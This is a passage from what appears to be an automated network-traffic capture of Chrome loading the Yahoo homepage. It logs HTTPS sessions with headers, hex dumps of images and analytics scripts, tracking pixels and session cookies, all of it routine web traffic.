r();try{c[t](n,e,(function(c,t){r(c,t)}))}catch(c){r()}}c.COMSCORE={_version:"1.6.0",beacon:function(e){n("__uspapi","getDoNotSell",1,(functio
2024-04-27 22:41:55 UTC	582	IN	Data Raw: 6c 6c 3f 30 3a 31 3a 73 2e 63 73 5f 75 63 66 72 3d 30 2c 73 2e 63 73 5f 75 63 66 72 26 26 28 73 2e 63 73 5f 66 70 69 64 3d 73 2e 63 73 5f 66 70 69 64 7c 7c 66 2e 63 73 5f 66 70 69 64 29 2c 73 2e 63 73 5f 66 70 69 64 26 26 28 73 2e 63 73 5f 66 70 64 6d 3d 66 2e 63 73 5f 66 70 64 6d 7c 7c 6e 75 6c 6c 2c 73 2e 63 73 5f 66 70 64 74 3d 66 2e 63 73 5f 66 70 64 74 7c 7c 22 30 31 22 2c 73 2e 63 73 5f 66 70 69 74 3d 66 2e 63 73 5f 66 70 69 74 7c 7c 22 63 22 29 2c 73 2e 6e 73 5f 63 3d 22 55 54 46 2d 38 22 2c 73 2e 6e 73 5f 5f 74 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 3b 76 61 72 20 5f 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 64 20 69 6e 20 73 29 69 66 28 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 29 7b 76 61 72 20 75 3d 73 5b 64 5d Data Ascii: ll?0:1:s.cs_ucfr=0,s.cs_ucfr&&(s.cs_fpid=s.cs_fpid\|\|f.cs_fpid),s.cs_fpid&&(s.cs_fpdm=f.cs_fpdm\|\|null,s.cs_fpdt=f.cs_fpdt\|\|"01",s.cs_fpit=f.cs_fpit\|\|"c"),s.ns_c="UTF-8",s.ns__t=(new Date).getTime();var _=[];for(var d in s)if(s.hasOwnProperty(d)){var u=s[d]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49903	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	383	OUT	GET /pv/static/img/voiceSearch1x-1620383531565.min.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:55 UTC	808	IN	HTTP/1.1 200 OK x-amz-id-2: pxtWVxGYsptG+9Ay6Z/Jr4Ed7M4mmY53wdoFkLSXBWGoV7NORWvWweyW3JDKXd8WhT0k9VIUWGzsbWmqaBXSeI1KTyNmdTva x-amz-request-id: V9E55RMT4ZF3EFAX Date: Sat, 27 Apr 2024 17:18:23 GMT Last-Modified: Fri, 07 May 2021 10:32:24 GMT ETag: "c2396079060a7028fa898a73b72aa592" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 2986 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 19413 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 29 00 00 01 4a 08 03 00 00 00 b7 a9 86 84 00 00 02 6a 50 4c 54 45 00 00 00 49 49 59 97 9e a9 9e aa aa ff ff ff 1e 23 29 45 82 f9 5c 65 6c 1f 22 29 ff ff ff 5c 64 6b 21 77 ed 10 6a ff ff ff ff 0f 6a ff 10 6a ff 27 2f 3b 00 3a bd ff ff ff 00 3b bc ff ff ff 0f 69 ff ff ff ff 10 69 ff ff ff ff 23 2b 31 24 2c 34 10 6a ff ff ff ff ff ff ff ff ff ff ff ff ff 0f 69 ff 24 2b 33 ff ff ff 00 3b be 00 3a bd 23 2a 32 0f 69 ff 00 3b bd 23 2b 32 00 3b be ff ff ff 10 6a ff ff ff ff 0f 6a ff 11 6a ff 16 6d ff 0f 69 ff ff ff ff ff ff ff 13 6c eb 00 3a bd 98 9f a9 23 2b 32 23 2b 31 5c 64 6a 1f 23 29 10 6a ff 0f 6b ff 0f 6b ff 23 28 2f 11 6c ff 26 2d 35 00 3b be 12 6e ff 18 6e ff ff ff ff 2a 2a 37 ff ff ff 10 6a ff 00 Data Ascii: PNGIHDR)JjPLTEIIY#)E\el")\dk!wjjj'/;:;ii#+1$,4ji$+3;:#2i;#+2;jjjmil:#+2#+1\dj#)jkk#(/l&-5;nn*7j
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 75 96 90 5f 6e 91 49 41 65 fa e8 16 be 29 38 07 35 95 b0 c8 c8 30 33 ae d5 fa 38 4a e3 d6 b7 42 e1 de a3 d4 c8 d1 bd 58 cf 85 d4 9b 42 e4 0c b6 d3 ca 6c 97 cb 70 21 c3 e5 72 8a 90 53 e4 b2 a1 90 0d ff cb 9f 97 83 9c 83 aa 4b 71 40 24 92 1d 89 ac 26 c5 01 91 10 b6 23 a4 9a 14 07 44 c6 b3 1d f3 02 c9 79 ac 32 de 57 2e 60 3b ca 78 65 9a 90 d3 80 a5 8c 55 16 80 6f 9c 94 8e e3 e5 2c 21 67 01 cb 38 4a 9d e0 17 87 f7 7a 9c 23 e4 1c ef f5 ea f0 97 79 94 da fa 7f 6f 54 34 d9 df 46 69 9e bf ec c8 8e 8d e5 95 f8 e3 1e 38 c3 f8 bf b1 ac d6 b1 fa 6d 61 f3 4c 47 b1 c3 e9 74 14 7b 26 cf 16 e0 26 09 b1 53 1a 15 0f 7e 89 8f a2 d4 1e 52 55 1a 1d 4d de eb 77 eb 4f 36 4e a9 5a c2 66 b0 fd 99 db c3 2a b7 b7 67 f2 d3 0d 74 d7 27 14 1a 2b 93 d7 d1 18 61 9e b1 5a 85 09 10 28 d6 Data Ascii: u_nIAe)85038JBXBlp!rSKq@$&#Dy2W.`;xeUo,!g8Jz#yoT4Fi8maLGt{&&S~RUMwO6NZf*gt'+aZ(
2024-04-27 22:41:55 UTC	386	IN	Data Raw: ef 29 c6 67 c6 45 ca 64 b8 f8 c8 fd 96 be 96 8d da e6 10 1b 71 d9 12 19 49 07 89 8d c2 4c a9 5c 27 36 1c 0d 65 73 64 9b e6 73 26 b2 de 61 0d dd 25 5e 0f 48 67 74 9e 2d 2a 01 8c 8c 77 66 c6 4b 20 6f 69 59 19 2f cf 38 69 76 18 48 73 c7 4e 33 b3 0b 9d d4 e9 a0 63 10 3a 6f 4c 1c b5 1f 5d 7f d0 1a 8e 52 08 8b 5f c0 0b 41 91 fc 28 3d 09 26 e9 1a 7b 02 98 0c 02 fb e5 e6 f6 93 0b f1 cc 27 1e f6 f0 07 fd 5c 33 b2 39 97 cd 6b 43 2a fd 84 ec a7 c8 64 89 f6 f2 bb 7c a9 95 c8 5f 85 b4 fb 2e db c9 df 88 3c d3 1e 42 11 97 45 f0 50 7b 26 93 6a 8f 2c 45 5d a9 69 2b 55 25 ab 87 0a f2 ee ef 01 94 97 03 dc 43 5f c7 c4 68 31 ed 14 a5 1d 2b d0 79 da c6 1e c9 d9 df 36 05 d0 1c 28 ba 75 ab e8 00 d4 64 36 0e 37 b2 11 97 25 cd 8d 94 80 89 74 0d 0d ed 0a a6 e0 24 42 26 99 a2 a1 66 Data Ascii: )gEdqIL\'6esds&a%^Hgt-wfK oiY/8ivHsN3c:oL]R_A(=&{'\39kCd\|_.<BEP{&j,E]i+U%C_h1+y6(ud67%t$B&f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49904	151.101.1.44	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	671	OUT	GET / HTTP/1.1 Host: tsdtocl.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:55 UTC	603	IN	HTTP/1.1 200 OK Connection: close Content-Length: 786 x-amz-id-2: llmbw1CDNz8ZbWwuST7ApQh1hR1GEyEogcYToj8OiRvyiL9jc/zyndXpKPtX2dtMZsRJ4OMUF+s= x-amz-request-id: ECVGTHXDRVCKH110 x-amz-replication-status: COMPLETED Last-Modified: Wed, 05 Jan 2022 19:36:57 GMT ETag: "fb5a4594b9ffef704d61bb6e6f80f145" x-amz-version-id: Qk4nobcRRphLiqVWi0NeSs0dand8kap0 Content-Type: text/html Server: AmazonS3 Accept-Ranges: bytes Date: Sat, 27 Apr 2024 22:41:55 GMT Via: 1.1 varnish Age: 2890 X-Served-By: cache-iad-kiad7000157-IAD X-Cache: HIT X-Cache-Hits: 432 X-Timer: S1714257715.382142,VS0,VE0
2024-04-27 22:41:55 UTC	786	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 3e 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 74 73 64 74 6f 63 6c 22 2c 74 3d 22 21 2d 23 40 22 2c 61 3d 32 3b 74 72 79 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 20 74 28 61 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 2e 6e 61 6d 65 73 70 61 63 65 3d 65 2c 6e 2e 69 64 3d 61 2c 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 6e 29 2c 22 2a 22 29 2c 6e 7d 2c 72 3d 66 75 6e 63 74 69 6f 6e 20 65 28 72 2c 73 2c 63 29 7b 74 72 79 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 63 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 7c 7c 76 6f 69 64 20 30 3d 3d 3d 73 29 74 68 72 6f 77 20 30 3b 76 61 72 20 69 3d Data Ascii: <!doctype html><html><head><script>!function(){var e="tsdtocl",t="!-#@",a=2;try{var n=function t(a,n){return n.namespace=e,n.id=a,parent.postMessage(JSON.stringify(n),"*"),n},r=function e(r,s,c){try{if(void 0===c\|\|void 0===r\|\|void 0===s)throw 0;var i=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49898	152.199.24.48	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	1727	OUT	GET /tag/opus-frame.html?referrer=https%3A%2F%2Fwww.yahoo.com%2F&tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2&axids=gam%3Dy-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A%26dv360%3DeS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B%26ydsp%3Dy-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A%26tbla%3Dy-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN&reset_idsync=1 HTTP/1.1 Host: opus.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; IDSYNC="19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y"; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:55 UTC	548	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 205476 Content-Security-Policy: default-src https:; script-src https: 'unsafe-inline'; style-src https: 'unsafe-inline' Content-Type: text/html Date: Sat, 27 Apr 2024 22:41:55 GMT Etag: "19720d3a285aba8024b11fc9955795fe" Last-Modified: Thu, 11 Apr 2024 13:32:36 GMT Server: ECAcc (dcd/7D6C) Vary: Accept-Encoding x-amz-id-2: kIawmHIKR/761UwMlBRYMcn6SkFeeFk52oantReT+B8o4aGUMYB3iACII19e6TwKPpM5gI2qWCU= x-amz-request-id: PED5PBSK044B6FYS X-Cache: HIT Content-Length: 5503 Connection: close
2024-04-27 22:41:55 UTC	5503	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 73 63 72 69 70 74 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 3e Data Ascii: <!DOCTYPE html><html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="viewport" content="width=device-width,initial-scale=1"><script defer="defer">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49905	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	2172	OUT	POST /p?s=2023538075&t=IHUz4o7e83ZD55nM,0.8735765590933242&_I=&_AO=0&_NOL=0&_R=&_P=3.54.1%05_a1s%03d%3DAQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA%26S%3DAQAAAhY0ZsSOfV2Vw8bUevS_J-s%04_pl%031%04A_v%033.54.1%04A_cn%03ANALYTICS-VERSIONED-PROD%04test%03drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless%04_bt%03rapid%04A_pr%03https%04A_tzoff%032%04A_sid%03uEPKU3Os0Q8Kit42%04_w%03www.yahoo.com%2F%04_rid%031sbetl5j2qvpa%04abk%03%04colo%03bf1%04mrkt%03us%04p_sec%03default%04partner%03none%04site%03fp%04uh_vw%030%04pt%03home%04navtype%03server%04ver%03megastrm%04version%03US%04uloc%03AAEBAQJERQMEACZffwQEAMATGgUEAXjo2wcEACPSLwgEAWVv0Q%04A_pfb%031802%04A_pbp%0369%04A_psr%031541%04A_pdi%036007%04A_psh%03202%04A_psc%03203%04etrg%03backgroundPost%04outcm%03performance%04usergenf%030%04etag%03performance%04_E%03pageperf%04_ts%031714257713%04_ms%03801%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1 [TRUNCATED] Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:55 UTC	503	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:41:55 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-04-27 22:41:55 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49907	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	1206	OUT	GET /px.gif?ch=2&rn=1.9185749898548843 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:55 UTC	1271	IN	HTTP/1.1 200 OK x-amz-id-2: 1ZDcjN8H9uQeKfDRiX/PlUDlZQVHkfZdNcAiVe7rRF9jHkwOUGpzAEqUkQaYQT5AT+FhOTitSVo= x-amz-request-id: MT0DARPXP7BJXPTN Date: Sat, 27 Apr 2024 22:41:56 GMT Last-Modified: Wed, 30 Nov 2022 19:09:07 GMT ETag: "b4682377ddfbe4e7dabfddb2e543e842" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/gif Server: ATS Content-Length: 42 Referrer-Policy: no-referrer-when-downgrade Age: 0 Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 Vary: Origin Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=5vti35lj2qvpj&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block
2024-04-27 22:41:55 UTC	35	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: X-Content-Type-Options: nosniff
2024-04-27 22:41:55 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 01 01 32 00 3b Data Ascii: GIF89a!,2;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49908	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	1061	OUT	GET /service-worker.js HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.yahoo.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:55 UTC	1075	IN	HTTP/1.1 200 OK x-amz-id-2: pCZHmUdX3nsnukhcYI6CQp4l7k9jrdsiFF4gYgcalINUPcEn9PEAArWTRW+bGI51zV8bYBNQbrA= x-amz-request-id: 6VSKX7BBVGCJ1ZWT Date: Sat, 27 Apr 2024 22:41:55 GMT Last-Modified: Thu, 25 May 2023 16:22:16 GMT x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=600 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 22980 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Strict-Transport-Security: max-age=31536000 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=28vv7a5j2qvpj&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com X-Frame-Options: SAMEORIGIN
2024-04-27 22:41:55 UTC	1489	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 72 74 72 2e 69 6e 6e 6f 76 69 64 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 6f 61 74 68 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 6d 65 64 69 61 2e 6e 65 74 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 64 76 65 72 74 69 73 69 6e 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 63 64 6e 2e 79 69 6d 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 6e 65 74 20 68 74 74 70 73 3a 2f 2f 61 64 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 3b 20 Data Ascii: Content-Security-Policy-Report-Only: connect-src 'self' https://s.yimg.com https://rtr.innovid.com https://.yahoo.com https://.oath.com https://.media.net https://.advertising.com https://.cdn.yimg.com https://.yahoo.net https://ad.doubleclick.net;
